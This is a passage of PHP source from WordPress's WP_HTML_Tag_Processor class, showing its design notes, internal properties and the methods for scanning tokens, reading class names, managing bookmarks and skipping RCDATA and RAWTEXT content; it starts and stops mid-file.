 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
